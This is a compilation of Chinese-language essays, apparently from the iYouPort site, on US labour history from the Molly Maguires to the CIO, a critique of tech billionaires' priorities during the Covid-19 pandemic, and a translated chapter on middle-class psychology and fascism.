【注：萨姆特堡之战是美国内战的导火线。该堡位于查理斯顿港，由罗伯特·安德森少校率领76名北方联邦军驻守。1861年4月12日，Beauregard 率领南方联盟军包围并不断炮轰该堡。36小时内，南军发射了4000发炮弹。安德逊少校被迫于4月14日放弃该堡。南北战争就此爆发。

联邦军 (Union Army)，美国南北战争时期泛指北方联邦方面军队，也称北军、联邦陆军等。在美国南北战争期间，联邦军作战的最高目标是击败联盟军，保卫美国国家统一。联邦陆军最终有效地保卫了一个持续有效、完整的共和国。它主要由北方未脱离联邦的美军正规军、义务役官兵、国民兵兵员以及南方反对奴隶制、要求联邦统一的志愿兵组成。】

1857年，最高法院在 Dred Scott 诉 Sandford 案中裁定，奴隶制在每个州都是合法的。书中回忆，当时著名的废奴主义者 **Wendell Phillips** 对未来的发展深感悲观，他在**1856**年左右写道："政府已经完全落入奴隶制势力的手中。就国家政治而言，我们已经被失败了——没有希望了。我们将在一两年内拥有古巴，五年内拥有墨西哥 **.....** 一个庞大的奴隶帝国。我希望我可能是个错误的预言家，但现在的天空从未如此黑暗"。*Michael" Muff" Lawler* 的酒吧和住所的外部，这是莫利·马奎尔（*Molly Maguire*）基地，位于宾夕法尼亚州谢南多厄。

📌 这正是我们在去年底的访谈中强调的要点之一 —— 绝望并不可怕，但被绝望左右而放弃斗争，才是真正可怕的。最黑暗的时刻也许正是距离成功只有一步之遥的位置。

事实证明，在 Phillips 的绝望呼声之后不到10年，奴隶制和奴隶势力就被粉碎了，出生为奴隶的人在南方各地以雄心勃勃的土地改革纲领当选为公职—— 第一个全国性的劳工组织 "全国劳工联盟"（National Labor Union）成立，领导人威廉·西尔维斯（William Sylvis）致力于团结黑人和白人、男性和女性，为争取基本的经济权利而奋斗。

尽管 NLU 在某些时候拥有数十万会员，但在1873年经济萧条的情况下崩溃了，而西尔维斯和**NLU**却奠基了今天的劳工运动框架：基于共同利益的工人组织，不考虑任何身份背景。

其中一个早期的组织是斯库伊尔基尔县工人慈善协会，或称 Molly Maguires，这是宾夕法尼亚州斯库伊尔基尔的无烟煤大亨们为了给初创的矿工工会的爱尔兰领导人抹黑而起的一个虚构的名字。

工人慈善协会成立于1868年，核心成员是爱尔兰古老的兄弟会——古希伯来尼人教团。第二年，即1869年9月6日，“宾夕法尼亚州卢塞恩县埃文代尔煤矿顶上的哨子停了下来，发出了尖锐的、反复的爆炸声，告诉人们发生了事故。…… 巨大的烟柱和火柱从唯一的井口、唯一的出入口喷出，妇女和孩子们知道，他们的丈夫和父亲已经是死人了，除非他们能通过强行开辟第二个出口来避免被炸死，但他们无法做到。

【注：1869年9月6日，宾夕法尼亚州普利茅斯附近的埃文代尔煤矿（Avondale Colliery）发生了一场大火，始于矿井的木衬着火并点燃了直接在头顶上建造的破煤机。竖井是矿场唯一的出入口，有一百多名工人被火困住并窒息而死。那是美国历史上最大的矿难。】

两天后，**179**人的尸体最终全部被带出矿井，死于非命，这都是因为矿主拒绝采取设置紧急出口的安全防范措施所导致的。

📌 工人慈善协会的负责人 John Siney 对聚集在人群中的其他矿工说：“如果你们必须穿着靴子去死，那就为你们的家人、为你们的家、为爱你的人们去死，但不要再同意像老鼠一样死在矿井里，不要为那些对你们没有更多兴趣的资本家而死，他们只在乎你的产量。”

当天有数千名矿工加入抗议。在 Schuylkill 矿井工作的22,000人中，有5,500人是童工，从事着一些最危险的工作。

随着工会的发展，一个隶属于AOH的年轻矿工进步核心小组开始推动“直截了当” 的工会主义。这些矿工会成为资本家的对手，被老板 **Franklin Benjamin Gowen** 给他们贴上 “莫利·马奎尔人” 的标签，并最终被绞死。

随着1873年股市恐慌的到来，Gowen 面临着极大的压力，需要大幅降低矿工的工资，这导致了1875年1月1日开始的为期6个月的大罢工。这场罢工失败了，但工会中的进步党团并没有放弃，仍在矿区内部进行反击。

Gowen 决心一劳永逸地粉碎工会。对工人的指控在共产主义或恐怖主义之间交替进行，Gowen 发动了一场针对所谓的莫利·马奎尔人的全面公关活动，并利用平克顿侦探社诬陷工人谋杀，一名间谍指控工运领导人犯下了各种谋杀罪。Gowen 确保自己被任命为特别检察官，**10**名工运领导人于**1877**年**6**月**21**日被绞死。

【注：平克顿侦探事务所是美国的私立私家侦探与保全公司。 现以瑞

典的Securitas AB保全公司在美国的分公司 Securitas Security Services USA 的身份存续下来，政府部门也会称呼它们为 Pinkerton Government Services】

但绞刑没有吓倒工运，劳工们很快就以**1877**年的铁路工人大罢工进行了轰轰烈烈的回击。在又一次减薪之后，全国有超过10万人加入罢工。

但那次罢工也被资本家的镇压粉碎了。劳动骑士团也是如此，世界产业工人组织也是如此—— 短暂的全国性工人反抗伴随着恶毒的国家级恐怖。1877年7月，宾夕法尼亚州匹兹堡的铁路工人大罢工遭到暴力镇压

直到大萧条造成的惨烈贫困，“所谓的莫利·马奎尔人从未发现的胜利即将到来，而当它最终到来时，它是甜蜜的”。

全球生产下降了42%，世界贸易下降了65%。从1929年到1933年，大萧条一年比一年严重。虽然富兰克林·罗斯福总统最初在1933年让工会权利获得了通过，但是，右翼的最高法院却将其否决。

为此，资本家们开始每年花费**8000**万美元购买间谍，以防止工人们成立工会。就连不成气候的三**K**党流氓也被重新启动，其主要目标是镇压工会组织者，以及带有法西斯色彩的北方版本—— 黑军团。

近100年的斗争，最终以1936年从保守的美国劳工联合会分裂出来的“产业工会联合会CIO” 的崛起而告终。“CIO是跳跃的火焰，在开放的车间的漫漫长夜中突然燃烧起来。”

【注：黑军团（Black Legion）是1930年代大萧条时期活跃在美国中西部的白人至上主义恐怖组织。它是从三K党分裂出来的。根据历史学家里克·佩尔斯坦（Rick Perlstein）的说法，联邦调查局（**FBI**）估计其成员数“为**135,000**，其中包括许多公职人员，可能还包括底特律的警察局长。”】

Boyer 和 Morais 写道：“到了1934年的劳工团结时期，‘对一个人的伤害就是对所有人的伤害’ 这句口号已经被全国各地的地方工会普遍接受。当一个工会的警戒线受到警察的攻击时，该地区的所有工会都会联合起来威胁资本家要举行总罢工。

📌 联合是反抗者最强大的武器。

“这一年，明尼阿波利斯和旧金山都发生了总罢工。罗斯福虽然对总

罢工感到震惊，但也利用了总罢工辅助自己的优势。1935年《全国劳资关系法》通过，并得到了支持，次年CIO成立，组织了汽车业（弗林特静坐罢工促使的）、钢铁业、电子业和橡胶业以及几乎所有其他行业的数百万工人联合行动—— 这些工会至今仍然存在。

【注：密歇根州弗林特举行的静坐罢工由超过13.6万名通用汽车工人参与】

汽车工业长期以来一直不鼓励工会。工人们知道，如果试图组织工会，他们可能会失去工作，他们还面临着企业间谍的威胁，这些间谍会向管理层举报任何支持工会的活动。

根据历史学家 Timothy P. Lynch 的统计，通用汽车在**1933**年至**1936**年间投资了**100**万美元用于监控工人。

但这显然没有吓倒当年的工人活动家们。

📌 如今的资本家在监视工人的技术上的投入再次达到了另一个历史新高，在这里看到《你的老板可能是比 Facebook、谷歌更大的老大哥》，而如今私营部门的工会密度是自1937年以来的最低水平。

工会已经失去了早期的战斗力和反抗意志，导致其成员与更广泛的全民经济权利项目脱节。

这就是为什么这本书在去年再版是非常重要的。只有了解这个国家的真实历史—— 建立国家的人的历史—— 才能从知情到参与，培养积极的成员以建立更强大的工会。

每一分公平和正义都是通过反抗者的拼搏得来的；任何时候如果反抗者停下脚步，邪恶就会开始露头，并快速膨胀。〇

原文

世界末日的聊天机器人 - iYouPort

你我的灾难现实社会反抗和思考

地球被玩坏了，怎么办？我们去火星吧，殖民是万能药已经由历史的验证 …… 高科技的寡头们在面对现实的危机中被证明一无是处，并且，他们是在以你我的生命作为燃料加速他们的奔腾。这点上中国并无区别

「图」

「图」

最近，一个人向外太空发射了一枚火箭：这是一个历史性的壮举，因为他的公司是第一家将人类送入太空的私人公司；这也是一个未来的象征，以（可能的）迈向商业太空旅行和火星的形式；它还是一个“童年的梦想”。

对于像 Elon Musk 这样的人来说 —— 他的公司 SpaceX 是火箭的幕后推手 —— 太空旅行代表了未来主义进步的终极目标。

但这一努力也有不可否认的怀旧特质。登陆月球的模糊画面仍然是这个概念的主要文化关联：一艘宇宙飞船飞驰到平流层，这就是上世纪60年代关于未来的样子。

不过，尽管有复古色彩，马斯克还是设法足够有效地推销了他对未来的愿景。自2011年以来，美国宇航局已经向 SpaceX 授予了超过30亿美元的合同，以帮助火箭起飞。

不需要再解释火箭发射前几个月在地球上发生的事了：每个人都很清楚，我们仍然处于全球瘟疫大流行的危机之中，仅在美国就有**10**多万人死亡。公共卫生专家已经作出警告，再次发生大流行的可能性已经增加，但即使是大多数富裕国家也仍然没有为大流行做出什么准备。

这导致了有据可查的应对 **Covid-19** 所需的几乎所有物品的短缺：医务人员的防护服；先进的医疗设备，如呼吸机；基本的医疗设备，如

棉签；口罩；制作检测包的材料；重症监护室的床位；医生；护士；当然，还有一个运作良好的社会安全网。

- 推荐《口罩的政治》

然而，在过去的十年中，至少有价值30亿美元的政府资金被用于 **Elon Musk** 的太空旅行梦想。

如今，硅谷炫目的技术发展往往与世界上正在发生的事完全不一致。在流行病危机中发射火箭和全国范围内反对警察暴行的起义可能是最近的例子，但是，这种不和谐的现象还有另一个版本一直在发生。

4月底，Facebook 发布的新聊天机器人 Blender。新闻稿将其描述为“多年研究的结晶”，并表示 Blender 可以用比以前的聊天机器人更逼真的方式进行交流 —— 但仍不至于逼真到会被误认为是人类。

它可以保持一个相当令人信服的（虽然简单的）对话 —— 如果对话的过程不超过十四个回合的话。

Facebook 强调，它们距离实现人类级别的智能交流还有很长的路要走，但他希望 Blender 能成为向实现这一目标的聊天机器人迈出的新一步。

显然，如果聊天机器人能更好地工作，它们可以更广泛地应用于在线客服环境中。革命性的!

在这篇新闻稿发布后不久，我读到了一篇关于全球变暖的研究报告，预测在五十年内，将有超过十亿人生活在令人难以忍受的高温气候中，这意味着许多人将流离失所。

我在想，Facebook 还需要多长时间才能让他们的聊天机器人做好准备，成为类似人类的客服操作人员的稀有角色，到时候世界会是什么样子？

诚然，进步不一定是线性的，各种研究都可能带来意想不到的发现和发明，但还是有一个大方向的。而越来越多的人觉得，硅谷所走的方向与我们大多数人所期待的未来并不一致。

在不断有报道称自然界正在升温、融化或灭绝的背景下，阅读有关一款让洗衣服的过程更方便的新应用程序发布的文章（或一种对隐私有负面影响、对监视资本主义有积极影响的个人数据收集新形式），感觉就像看着两个在不同现实中运行的地球，在不可调和的道路上彼此

远离。

4月，风险投资家、硅谷“大师” Marc Andreessen 写了一篇博客文章，他在文章中哀叹自己的国家和行业的“想象力失败”。

他没有说，看到那些掌握着大部分用于技术开发的资金的一小撮人把钱浪费在设计另一个所谓“智能家居”品牌的玩意儿上，或者自动化如何挖空了另一个工人阶级的工作，他感到不安或愤怒；

他也没有说他觉得这笔钱会更好地用在有意义的事上，比如说，解决全球变暖造成的日益频繁的自然灾害，不管用什么方式 ……

他没说。他当然不会说。

但他确实描述了“每一个西方机构是如何对冠状病毒大流行毫无准备的，尽管事先已有警告”，并对未能“建设”任何能够应对当前形势的基础设施 —— 或者说未能建设最一般的东西 —— 而感到惋惜。

他问道：”是资本主义的问题吗？”却又否定了这种可能性。相反，Andreessen 将责任归咎于“监管“和“惯性”，他写道：“问题是欲望。我们需要*想要的这些东西” —— 意味着更多的住房、学校、摩天大楼、无人机、飞行汽车 ……

「图」

「图」

上图中这本书在这里下载：//https://www.patreon.com/posts/sheng-cun-zhi-2-38193959//

他认为可以“通过建设来解决气候危机”。他规定，这可以从建造十个核反应堆开始 …… 呵呵。

他包括了对武器的呼吁。

他说，“每一步，对我们周围的每一个人， 我们应该问的问题就是，你在建设什么？你直接参与建设什么，或者帮助别人建设什么，或者教别人建设什么，或者照顾正在建设的人吗？”

然后，正如《纽约时报》所报道的那样，Andreessen 把他的基金资本中的1000万美元（以及额外的200万美元从现有股东那里购买的股份）投资给了 **Clubhouse** —— 一个仅限邀请加入的网络应用。

Clubhouse 模拟现实生活中的人际交往，让人们与同时在该应用上的其他用户一起加入语音群聊，让他们在这个专属的环境中，从那些被审核为合适的参与者的数据库中认识陌生人。**Andreessen** 基金的投资对这家今年成立的、仅拥有两名员工的公司估值为**1**亿美元！

他在整篇博文中使用的 “我们” 这个词很有意思。因为，大多数人并没有可供支配的风险投资基金，他们对什么东西能被 “造” 出来、尤其是被私人公司 “造” 出来的发言权几乎不存在。

但是，自从冠状病毒引发大规模失业，迫使四千多万人申请失业救济金的危机开始以来，许多资源稀缺的人做出了反应，他们建立互助网络，帮助社区里的其他人。

护士们被迫用垃圾袋打造自己的个人防护装备。

当 Andreessen 决定要帮助建立又一个网络应用时，其他硅谷人并没有更好的尝试。除了火箭发射外，马斯克在公司电话会议上宣称，为阻止病毒传播而实施的封锁是 “法西斯主义” 的和 “不自由” 的；他重新开放了特斯拉的弗里蒙特制造工厂，该工厂雇用了一万多名员工，尽管当地政府命令不要这样做。

其他科技公司的行为已经表明，即使他们真的将精力放到公共卫生领域，也很可能会带来令人不快的后果。

在英国，为了协助联系人追踪和资源分配，Palantir、亚马逊和谷歌等公司已经与NHS建立了合作关系，这将使他们能够获得健康数据，这对隐私和监控的影响显而易见；

- 《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》
- 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

3月，有报道称，美国政府正在与 Facebook 和谷歌等科技公司商谈利用他们的位置数据达到类似目的。

Naomi Klein 描述了这些合作关系如何让科技公司将自己提升到一个比它们已经占据的位置更加机会主义和有利可图的位置 —— 在危机时刻接受公共资金，但公众对如何使用这些资金没有任何控制权。

同样，比尔-盖茨也试图说服他的富豪朋友通过他的基金会提供额外的冠状病毒捐款，从表面上看，这是值得称赞的；但是，这仍然是将大

量的资金和决策责任交给了那些很可能并没有前线服务经验的人 —— 而这些人经常对仅仅支付更高的税款感到畏惧。

据 Recode 报道，盖茨基金会的建议之一是建立一个捐助者的 “市场”，让他们可以互相交流在大流行及其后期间如何最好地使用他们的集合资金的想法。

这批人的独占性和污秽的财富塑造了他们对公共利益的看法，这可能与医学专家或公立学校教师的意见完全相反。

已经有教育专家发表声明，反对州长 Andrew Cuomo 在冠状病毒事件后与盖茨基金会合作在纽约市 “重塑教育” 的计划（就是用在线替代教室），这句话充满了公私伙伴关系的味道，而这正是盖茨之前被抵制的教育实验的特点。

“比尔-盖茨和盖茨基金会推动了一个又一个失败的教育举措，在全州各区引起了巨大的不满。” 一封由倡导团体联盟签署的信中写道。信中继续反对扩大教育技术，联署信表示，教育技术不能作为教学的替代品，并建议解决更多的社会工作者、心理健康咨询师、学校护士的需求，并努力实现小班化的目标。

盖茨的哥们硅谷亿万富翁(也是世界首富) Jeff Bezos 在很大程度上避开了慈善事业，直到最近，他在2月份宣布了贝佐斯地球基金。

顾名思义，该基金应该致力于服务缓解气候变化的人和倡议，贝索斯在他的 Instagram 公告中把气候变化描述为 “对我们地球的最大威胁”。

他承诺从自己的资金中拿出100亿美元 “启动”，并表示将在今年夏天开始发放补助金。

受助者究竟是谁还没有公布 —— 如果真的会有受助者的话；因为他用的是自己的钱，所以他没有任何义务披露这些 —— 但是，别忘了，亚马逊是让地球持续升温的机器中的重要组成部分之一。**2018** 年，该公司的碳排放量大约相当于"整个挪威"的全部碳排放量。

贝索斯已经拒绝了亚马逊员工气候正义组织的两项要求：停止与石油和天然气公司合作，优化化石燃料开采，以及到2030年实现零碳排放。

无论该基金最终的用途是什么，它都将塑造气候研究和行动主义的方向。这是我们这个不健全社会的一个可悲的怪癖，虽然100亿美元在

贝佐斯1500亿美元的财富中只是一个小数目（约占6.5%），但在气候行动方面却是巨大的：是2018年一群慈善机构40亿美元投资的两倍多，这被称为同类基金中最大的投资。

- 《可怜正义没有钱》

在 Mark O'Connell 最近出版的《*Notes From An Apocalypse*》一书中，他通过探讨几个世界末日主题、会见末日预言家和访问具有某种世界末日意义的地方，来解决他对气候危机日益增长的焦虑。

其中一章中写到他参加了一个关于前往火星的大会；他描述了许多与会者，包括 Elon Musk —— 他是在这些火星圈子里被认为鼓舞人心的人物，原因显而易见 —— 将 "殖民" 火星视为解决气候变化的办法；这些有钱人计划逃离这个星球，在一个新的星球上重新开始。

把解决一个星球变得不适合居住的办法说成是搬到另一个可能更不适合居住的星球上，这种做法的荒谬性是显而易见的，但它符合关于 "如何取得进步" 的恶性历史叙事。

正如 O'Connel 所观察到的那样，搬到新的土地上并进行殖民，对某一阶级和种族的人的进步来说 "总是有利的"。这是对新问题的一个非常古老的解决方案；他将这个项目称为 "exercise in future-nostalgia"。

对私营科技公司在吞噬金钱和资源、同时侵占越来越多的公共和私人生活等方面的方式的批评，往往将其定格为有计划的反乌托邦。

这些公司的所有者可能被称为 "我们的科技霸主"；他们对未来的计划被描述为 "黑暗"。这当然是一种准确的表述，比如说，移民局与亚马逊和 Palantir 等公司之间不祥的但有利可图的关系，它们的数据处理能力为ICE的监控强度增加了一个新的维度；或者 Uber 坚持不懈地将其原子化劳动力的权利保持在最低限度。

但从这些角度来看整个局势，也有一种奇怪的乐观主义，这是一种为可能没有任何意义的决定赋予结构和意义的方式：毕竟，出于恶意目的所做的事仍是在可量化目的下而进行的。

不过，也许像行政人员网络应用程序、马斯克的火箭，或者聊天机器人 Blender 这样的 "创新"，只是有钱的自恋者毫无意义的虚荣项目。

也许这些东西看起来与现在世界上正在发生的事格格不入，因为决定要这些东西的人是在不久前决定的，当时的一切似乎都不一样 ——

或者是因为巨大的财富目前是一个有效的绝缘体，可以抵御几乎所有可以想象的灾难，而很难想象未来不会出现这种情况。

对于那些最有能力的人来说，为减轻灾害而努力的动力是微乎其微的。当然，这种情况也可以被定义为荒诞 —— 只是一个更加混乱的荒诞。〇

作者：Rachel Connolly 来自贝尔法斯特，现居伦敦。她撰写有关技术和文化趋势的文章。

原文

中产阶级和底层的心理如何被法西斯主义所利用 - iyouport

免费书和纪录片社会反抗和思考

【 2020年9月23日存档】奴才把自己打扮得像主子一样 —— 从外表到精神，这是一种什么心态？希特勒如何利用这种心态确掌了他可怕的权力？

每一年的反法西斯纪念日上，你都会听到人们高呼 “never again”，是啊，这应该是终极理想和追求目标，但如何才能做到呢？

事实上做到 “never again” 并非容易。

几个月前，就在BLM运动最火热的阶段，关于种族歧视的争论也同时爆发在中文网络上；于是一个IDR国际实验室小测试游戏开始在中文网络流行，题为 “您有多法西斯？”

结果是，一些参与者惊讶地发现，自以为很正直正义，却测出了较高的 “法西斯主义比重”。

这也许说明人们对法西斯主义仍然存在一些误解。

心理学长期的医学经验已经足够表明，“法西斯主义” 仅仅是普通人的性格结构的有组织的政治表现，请注意，这种性格结构既不限于某些种族或民族、也不限于某些政党，正相反，它是普通的和国际性的。

从人的性格结构角度来看，“法西斯主义” 是具有权威主义机器文明及其机器主义秘密生活的被压抑者的基本情感态度。

听起来很惊人吗？一点也不。纳粹之所以能动员如此多的人支持他们，正因为这点；也是为什么即便反纳粹战争胜利后的多年中，纳粹的思想依旧在各个国家层出不穷。

正是现代人的机械主义神秘性格产生了法西斯主义党，而不是相反。

如果人们真的想要它 “never again”，就必须清楚地认识到上述——正如德国电影《Er ist wieder da（希特勒回来了）》中所警告的那样。

错误的政治思维只会造成更多的错误解释，很可能导致不断的 “again”。

过去和现在的很多解读都把法西斯主义当作一小撮反动派的专政，这有损于争取自由的真正努力。人们之所以固执地坚持这种错误思想，原因在于害怕承认事实真相，即：法西斯主义是一种 **国际**现象，它渗透到**所有**民族的 **所有人类社会** 的肌体中。这一结论与 “反法西斯战争” 胜利后的几十年内的国际事件相吻合。

任何一个人在其性格结构上都具有一定程度的法西斯主义情感和思想因素。作为一个政治运动，法西斯主义不同于其他反动党派的地方在于—— 它是由人民大众产生和拥护的。

这一结论可能在今天仍然令人惊讶，但是，了解和理解它，正是我们能否真正做到 **“never again”** 的关键。

一人一票却选出了希特勒2.0，这不仅不是笑话，而且是很有可能发生的危险现实。

前几天我们上传了一本书，详细解释了这个问题，关于：我们滑入法西斯陷阱的可能性究竟有多高，最重要的是，我们如何才能避免这点。

本文将翻译这本书的一个章节。如果您对这一问题感兴趣，可以在这里下载这本书：https://www.patreon.com/posts/ru-he-cai-neng-40000840

已经有足够多的证据可以充分表明，希特勒的成功既不归因于他的 “个性”、也不归因于他的思想在资本主义中所起到的客观作用。正因为如此，也不归因于追随他的大众的 “十足糊涂”。

我们强调的是事情的核心：究竟是什么东西使大众追随一个其领导层无论在客观上还是主观上都与劳动大众的基本利益截然对立的政党呢？

在回答这个问题时，首先应该记住，国家社会主义运动在它最初的成功突袭时，依靠的是所有所谓的中产阶级的广大阶层 —— 即 几百万私营和公职人员、中产阶级商人和中下层阶级农场主。

从它的社会基础来看，国家社会主义是一个中下层阶级的运动，不管在哪里都是如此 —— 不管是在意大利还是匈牙利、阿根廷还是挪威。

因此，这种以前站在各种资产阶级民主派一边的中下层群体，一定是经历了某种内在的转变，使它改变了自己的政治立场。

中下层阶级的社会地位以及与此相对应的心理结构，为自由资产阶级的意识形态同法西斯主义者的意识形态之间的基本相似性和差别，提供了一种解释。

法西斯主义的中下层阶级与自由民主派的中下层阶级是同一个阶级，只是处于资本主义的不同历史时段而已。

在1930年到1932年的选举中，国家社会主义党获得的新选票几乎全部来自德国民主党，很少一部分来自德意志帝国其他各党，即使在1932年普鲁士选举中，也只有天主教中心保持着它的地位。

只是到了后来的选举，国家社会主义党才再次成功打入产业工人群众中。中产阶级过去是而且现在继续是纳粹党徽的主要支柱。正是这个拥护国家社会主义事业的阶级，登上了政治法庭，并在资本主义制度经历的最严重的经济灾难时期（1929年～1932年）阻碍了社会的革命重建。

政治反动势力对中产阶级的重要性的估价是绝对正确的。1932年3月8日德国民族党的一份传单上就这样写道：“中产阶级对于一个国家的存在具有决定性重要意义”。

1933年1月30日以后，中产阶级的社会重要性问题才引起左派的广泛讨论。在此之前，中产阶级很少被人们注意到，这部分是源于一切注意力都集中在政治反动势力的发展上和国家的权威主义领导层上了，部分地是由于建立在大众心理学基础上的探索路线对于那些政客来说是陌生的。

从此时起，“中产阶级的造反”在各个地方越来越突出。人们在讨论这个问题时，注意到了两种主要观点：一种认为，法西斯主义“不过”是上中层阶级的党卫队，另一种并不忽视这个事实，但强调了“中产阶级的造反性”，结果是，这种观点的拥护者被指责忘记了法西斯主义的反动作用。

为了证明这个指责，人们引用了一些例子，如赛森被提名为经济独裁

者，解散了中产阶级经济组织，断然拒绝了“第二次革命”。总之，大约从1933年6月底开始，法西斯主义十足的反动性变得越来越明显，越来越公开。

在这些非常热烈的讨论中，某些含糊之处是显而易见的。

在掌权之后，国家社会主义越来越表明自己是一种帝国主义的民族主义，坚决要把一切“社会主义的”东西从运动中清除出去，并利用一切可以利用的手段准备战争。

这个事实与另一个事实并不矛盾，即 从法西斯主义的大众基础来看，它实际上是一个中产阶级运动。如果希特勒不许诺将反对大商业，他就绝不会赢得各中产阶级的支持。

由于这些阶级反对大商业，它们便帮助希特勒取得了胜利。

由于他们施加了压力，当局不得不 采取反资本主义措施，如同后来在大商业的压力下当局又不得不放弃这一措施一样。

如果反动运动在大众基础上的主观兴趣同客观的反动作用无法区别，那就无法理解了—— 请注意这两者是互相矛盾的，但在初期的纳粹运动总体上却神奇地保持一致了。

前者从属于法西斯大众的反动兴趣，而后者从属于法西斯主义的反动角色。

法西斯主义所有的矛盾都起源于法西斯主义在这两方面的对立，正像这两方面的统一以“国家社会主义”这一形式标志着希特勒运动的特点一样。

就国家社会主义不得不强调它作为一种中产阶级运动的特点而言，它事实上是反资本主义的和革命的。但是，由于它没有剥夺大商业的权利、而且不得不巩固并坚持它已经得到的权力，所以，它自身的资本主义职能越来越突出，直至最终成为帝国主义和资本主义经济制度的一个极端的辩护者和斗士。

在这一方面，它的领导人是否具有或者有多少人具有忠诚的或不忠诚的社会主义倾向（按照他们所说的这个词的意思），完全是无关紧要的。就像有多少领导人是不是彻头彻尾的骗子和权力贩子一样的无关紧要。

我们不能仅仅根据这两点考虑来确定一个彻底的反法西斯主义政策。

为理解德国法西斯主义及其矛盾心理所必需的一切，都能从意大利法西斯主义的历史中了解到，因为后者也显示了这两种既总体上相一致又彼此尖锐矛盾的职能。

那些要么否认法西斯主义大众基础的作用、要么不能给其以公平对待的人，因这样一个事实而麻木不仁，即：由于中产阶级既不掌握主要生产资料，又不靠这些生产资料来工作，所以，该阶级根本不可能是历史的永久动力，因此摇摆在资本和工人之间。

而他们看不到—— 正如我们在意大利和德国的法西斯主义那里了解到的那样—— 中产阶级完全可以是而且实际上已经是“一种历史的动力”，就算不是永久的动力，也至少是暂时的动力。

这样说不仅意指对工人组织的破坏、无数的牺牲品、野蛮行为的爆发，而且，尤其意指它阻止了经济危机酿成一场政治起义、一场社会革命。

显然，一个民族的中产阶级阶层的范围越大、地位越重要，它们作为一种有效的社会力量的意义也就越是决定性的。

从1933年到1942年，我们碰到了这样一种怪事：法西斯主义能够战胜作为一种国际运动的社会革命国际主义。社会党人和共产党人滋长了关于革命运动相对于政治反动势力的进步的幻想。

这意味着政治上的自杀，即使是出于最好的意图。这个问题极其值得注意。

在过去十年中所有国家的中产阶级各阶层所经历的过程，比起一个平庸的众所周知的事实 即 法西斯主义构成极端的政治反动势力来说，更值得注意。单纯关于法西斯主义反动性质的事实并不是一种有效的相反的政治策略依据，从1928年到1942年的事件充分证明了这一点。

中产阶级卷入了这场运动，并以法西斯主义形式表现为一种社会力量。因此，问题并不在于希特勒或戈林的反动目的，而是，在于中产阶级各阶层的社会利益。

就其性格特征而言，中产阶级具有的社会权力大大超出了它在经济上的重要性。正是这个阶级，保存了几千年的父权制，保持着它的生命，连同它的一切矛盾。

法西斯主义运动的存在，无疑是民族主义和帝国主义的社会表现。然

而，这个法西斯主义运动之所以能成为一场群众运动并能够掌握权力（只有这样才能实现帝国主义作用），这应该归因于它从中产阶级那里获得的充分支持。

只有依次考虑这些对立和矛盾，才能理解法西斯主义现象。

中产阶级的社会地位取决于：# 它在资本主义生产过程中的地位；

- 它在权威主义国家机构中的地位；
- 它的特定的家庭状况，这一家庭状况又直接取决于它在生产过程中的地位，而且是理解它的意识形态的关键。小农场主、官僚和中产阶级商人的经济状况的确有一些差别，但他们的家庭状况的基本性质是一样的。

19世纪资本主义经济的快速发展，连续而快速的生产机械化，各个生产部门以垄断的辛迪加和托拉斯混合，构成了中下层阶级商人和手艺人进一步贫困化的基础。中小企业无力同廉价的、更经济地运行的大工业相竞争，走上破产，一蹶不振。

“中产阶级不能不被残酷地从这个体系中清除掉。面临的问题是：要么我们都将陷入巨大的黑暗惨淡的无产阶级化之中，都将获得同一种东西 即 一无所有，要么活力和勤勉将使个人能够重新依靠艰苦劳动而获得财产。做中产阶级还是做无产阶级！这就是问题所在！”——这段话是德国民族党人在1932年选举共和国总统之前告诫给大众的。

国家社会主义党人没有这么直率。他们在宣传中很小心地不去制造中产阶级和产业工人之间的巨大裂痕，他们用自己的方法更容易取得成功。

反对大百货商店的斗争在希特勒的宣传中起了很大作用。国家社会主义为了大商业的利益所扮演的角色同它为了作为它的主要支柱的中产阶级的利益所扮演的角色之间的矛盾，表现在希特勒同尼克博克的谈话中：

“我们不会因一个男子服饰用品商店而影响德美关系 …… 这些企业的存在是对布尔什维克主义的一种鼓励 …… 它们破坏了许多小企业。因此，我们将不容忍它们，但是你放心，你们在德国的这种性质的企业，我们不会按照对待德国类似企业那样来对付它们 ……”

【注：在3、4月掌权后，人民群众抢劫了这些百货商店，但纳粹党的领导人很快制止了这种做法—— 禁止随意干扰经济、解散中产阶级

组织等等。“男子服饰用品商店” 指的是柏林伍尔沃思商店】

外国私人债务是中产阶级一个巨大负担。由于希特勒的对外政策取决于对外要求的实现，他同意偿付这些私人债务。因此，中下层阶级反抗 “这种制度”， 即 该阶级用来理解社会民主党的 “马克思主义政权” 的那种制度。

尽管这些中下层阶级的阶层在危机的压力下渴望形成有组织的联盟，然而，小企业的经济竞争却不利于确立一种像产业工人那样的稳固感。

中下层阶级的人，由于其所处的社会经济状况，既不能与他们的社会阶级联合起来，也无法和产业工人联合起来。之所以不能与他们的社会阶级联合，是因为 *竞争* 是这里通行的规则；之所以无法与产业工人联合，是因为他们最害怕的正是无产阶级化。

然而，法西斯主义运动却造成了中下层阶级的联盟。

在大众心理学上，这种联盟的依据是什么呢？

中下层阶级那些公私营职员的社会地位提供了这个问题的答案。

普通职员的经济地位比普通的技术熟练的产业工人的经济地位更糟。这种更贫困的地位在某种程度上是靠不怎么客观的职业前景来补偿的。

因此，在这个阶级中，盛行对政府权威的依赖、对自己同事的竞争，这种竞争性严重削弱了关系的稳固。

职员的社会意识的特点不在于他和他的同事共有的命运，而是在于，他对政府和 “国家” 的态度。

这种态度是由同国家权力的完全自居作用构成的。在公司职员中则是由同公司的自居作用构成的。

【精神分析学理解的自居作用，指的是这样一个过程：一个人开始感到和另一个人相一致，采取这个人的特点和态度，并在幻想中把自己摆在他人的位置上。这一过程必须使自居的人发生一种实质的变化，因为自居的人将自己的模式特点 “内在化” 了。】

职员像产业工人一样顺从。但他们为什么没有产业工人那样的稳固感呢？这归因于他们在权威和体力劳动之间所处的中间地位。

尽管他们对上级俯首帖耳，但对那些居于他们之下的人来说，他们又是“权威的代表”，因而享有一种有特权的道德层面的地位（而非物质层面）。

在大众心理学中，这是一种经典的主要人格化，你能在军队的军士中找到明显的案例。

管家、贴身奴仆、贵族家庭的其他此类佣人，都是这种自居作用的典型案例。他们由于采取统治阶级的态度、思维方式和举止，而起到了一些根本性的变化—— 他们在努力地最大程度上去除自己出身低下的痕迹时，经常笨拙地模仿他们侍候的主子。

【想想中国历史上的太监？当下也有很多这样的人，想想看，大国骄傲者？大牌企业的职员？白人至上主义者？贴身秘书 ……】

